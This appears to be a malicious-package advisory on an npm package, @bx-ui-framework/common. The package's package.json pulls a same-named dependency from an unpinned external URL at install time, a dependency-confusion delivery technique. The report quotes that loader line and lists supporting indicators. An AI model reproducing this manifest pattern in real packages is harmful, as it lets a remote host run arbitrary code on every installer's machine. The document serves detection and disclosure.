GCVE-110-OSM-2026-11590

package.json declares a dependency whose key equals the package's own name (@bx-ui-framework/common) and whose value is a bare HTTPS URL (https://repo.remoteknight.com/bx-ui-framework/common) rather than a registry version range. On npm install, npm fetches whatever bytes that URL returns and installs them as the resolved dependency, executing any lifecycle scripts they contain. There is no version pin, no commit SHA, and no integrity/hash check. The shipped index.js is an inert stub, so the manifest line is the entire delivery mechanism: whoever controls repo.remoteknight.com controls code that runs on every installer's machine. The self-referential dependency name is the dependency-confusion shape used to win resolution over an internal package of the same name. Judge assessment: This looks like a dependency-confusion delivery mechanism aimed at npm consumers in an internal package namespace: `package.json` declares `@bx-ui-framework/common` as a dependency on a bare HTTPS URL (`https://repo.remoteknight.com/bx-ui-framework/common`) instead of a registry range, so the publisher controls what code gets fetched and installed. The package metadata reinforces that attacker model with an artificially inflated version (`15.0.0` history, then `1.2.0`), a brand-new account, and no source repository, which is consistent with outranking an internal package name. The shipped `index.js` is just an inert stub (`return "ok"`), so the real payload is the manifest-driven loader on install, not the entrypoint. I would treat this as a malicious package designed to redirect installers to attacker-controlled code, not a benign library accident. ENTRY index.js (bin: index.js) - URL-Based Dependency in package.json: ""dependencies": { "@bx-ui-framework/common": "https://repo.remoteknight.com/bx-u..." DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs)